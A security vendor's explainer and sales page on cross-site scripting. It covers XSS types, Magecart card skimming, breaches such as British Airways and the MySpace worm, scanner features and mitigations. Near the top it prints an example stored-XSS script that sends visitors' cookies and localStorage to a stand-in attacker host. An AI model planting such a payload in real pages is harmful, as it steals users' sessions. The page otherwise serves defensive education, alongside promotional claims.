XSS Attack: How Hackers Steal Your Users' Sessions Through Your Own Website
Your site becomes the weapon. Cross-site scripting turns trusted web pages into malware delivery systems — stealing sessions, credentials, and payment cards from your own users.
Vlad Piskun
Security Researcher, Teyna
In 2018 a hacker group injected 22 lines of JavaScript into British Airways' booking page via a compromised third-party script. For 15 days, every payment card entered on the site — 500,000 of them — was silently copied to the attacker's server. The ICO fined BA £20 million. The attack vector: Cross-Site Scripting (XSS). It has been in the OWASP Top 10 for over a decade, and it remains dangerous precisely because the attack comes from your domain — a source your users inherently trust.
What Is XSS?
XSS is a vulnerability that allows attackers to inject malicious JavaScript into web pages viewed by other users. The script runs in the victim's browser with full trust — as if it were your legitimate code. A classic example: a site that displays user comments without sanitising them. An attacker posts:
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
storage: JSON.stringify(localStorage),
})
});
</script>Every visitor who loads that page silently sends their session cookie to the attacker. With that cookie, the attacker logs in as the victim — no password needed, no trace in login logs.
3 Types of XSS
Stored XSS (Persistent)
criticalThe malicious script is saved in the database and served to every user who views the page. One injection → unlimited victims. Common in comments, reviews, user profiles.
Reflected XSS
highThe script is embedded in a URL and reflected back by the server. Requires tricking the victim into clicking a crafted link. Common in search results, error pages, login redirects.
DOM-Based XSS
highThe vulnerability is in client-side JavaScript — the server is never involved. The attacker manipulates the DOM to execute code. Harder to detect with server-side scanners.
Magecart: When XSS Skims Payment Cards
Magecart is the name for attacks where injected JavaScript watches for payment form submissions and silently copies card numbers, CVVs, and expiry dates to the attacker's server in real time — before the form even submits. The British Airways attack was a Magecart attack. So was the Ticketmaster breach (2018, 40,000 customers), and dozens of others. The script runs on your domain, so browser security policies don't block it.
Your users trust your domain. XSS abuses that trust.
The British Airways attack ran for 15 days before detection. Your users had no way to know.
Teyna tests every input point, URL parameter, and DOM sink automatically.
Scan my site now →Free tier available. Enterprise plans from $299.
Real-World Cases
Impact
500,000 customers' payment cards stolen
Cost
£20M GDPR fine (reduced from £183M)
A Magecart group compromised a third-party JavaScript library loaded by BA's booking page. 22 lines of injected code silently exfiltrated card data for 15 days. The ICO's fine was the first major GDPR enforcement action specifically for a supply-chain XSS attack.
ICO — British Airways GDPR fineImpact
1,000,000 profiles infected in under 20 hours
Cost
MySpace taken offline for emergency patching
Samy Kamkar exploited an XSS vulnerability in MySpace profile pages to create the first self-propagating XSS worm. When any user viewed an infected profile, the worm added Samy as a friend, copied itself to the viewer's profile, and spread exponentially. It became the fastest-spreading virus in history at the time.
Samy Kamkar — The MySpace WormImpact
Repeated XSS in product listings used for phishing
Cost
Ongoing credential theft, slow vendor response
Attackers repeatedly used XSS vulnerabilities in eBay product listings to redirect buyers to fake PayPal login pages. Some vectors remained exploitable for months after disclosure, due to eBay's delayed patching process.
BBC — eBay XSS vulnerabilityWhat an Attacker Can Do with XSS
- →Steal session cookies → hijack any logged-in user account instantly
- →Capture keystrokes → record passwords as users type them
- →Skim payment forms → copy card number, CVV, expiry in real time (Magecart)
- →Perform actions as the user → transfer funds, change email/password
- →Deliver malware → redirect users to drive-by download pages
- →Show phishing overlays → fake login forms on your trusted domain
- →Deface the page → replace content with attacker-controlled text
How Teyna Detects XSS
Teyna tests every injection point — URL parameters, form fields, HTTP headers, cookies, and DOM sinks — using purpose-built XSS payloads and behavioural analysis.
Reflected parameter testing
Every URL parameter and form field is tested with XSS payloads to identify points where input appears unsanitised in the HTTP response.
Dalfox engine
Teyna uses Dalfox — a dedicated XSS scanner — for payload testing including filter bypass techniques, WAF evasion variants, and encoding tricks.
DOM sink analysis
Client-side JavaScript is analysed for dangerous sink functions: innerHTML, document.write, eval, setTimeout with string args — common DOM XSS entry points.
Stored XSS verification
Payloads submitted to persistent fields are later retrieved and checked for unsanitised execution — confirming stored vs. reflected findings.
Third-party script audit
Teyna flags which external scripts your pages load. Every third-party JS is a potential Magecart vector.
5 Steps to Eliminate XSS
Output encoding
Encode all user-controlled data before inserting it into HTML, JS, CSS, or URL contexts. Never use raw user input in innerHTML or document.write. Use context-specific encoding — HTML entities for HTML, JS string escaping for JS.
Content Security Policy (CSP)
Implement a strict CSP header: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'. This blocks inline scripts and limits what external scripts can execute — the most effective mitigation even when XSS exists.
HttpOnly + Secure + SameSite cookies
Mark all session cookies as HttpOnly (JS can't access them), Secure (HTTPS only), and SameSite=Strict. This limits what an attacker can do even if XSS is present — stolen cookies can't be read by the malicious script.
Use safe frameworks correctly
React, Vue, Angular encode output by default — but you can bypass this. Never use dangerouslySetInnerHTML in React or v-html in Vue with untrusted data. If you must, sanitise with DOMPurify first.
Subresource Integrity for third-party scripts
Every external JS you load is a Magecart risk. Use Subresource Integrity (SRI) hashes: <script src='...' integrity='sha384-...' crossorigin='anonymous'>. Audit your third-party vendors — especially on checkout pages.
Find XSS before a Magecart group does
Teyna scans every input field, URL parameter, and DOM sink on your site for XSS injection points.
XSS is present in 1 in 3 web applications. The British Airways attackers found it in 15 minutes.
Start free scan →No installation. No credit card. Results in 30 minutes.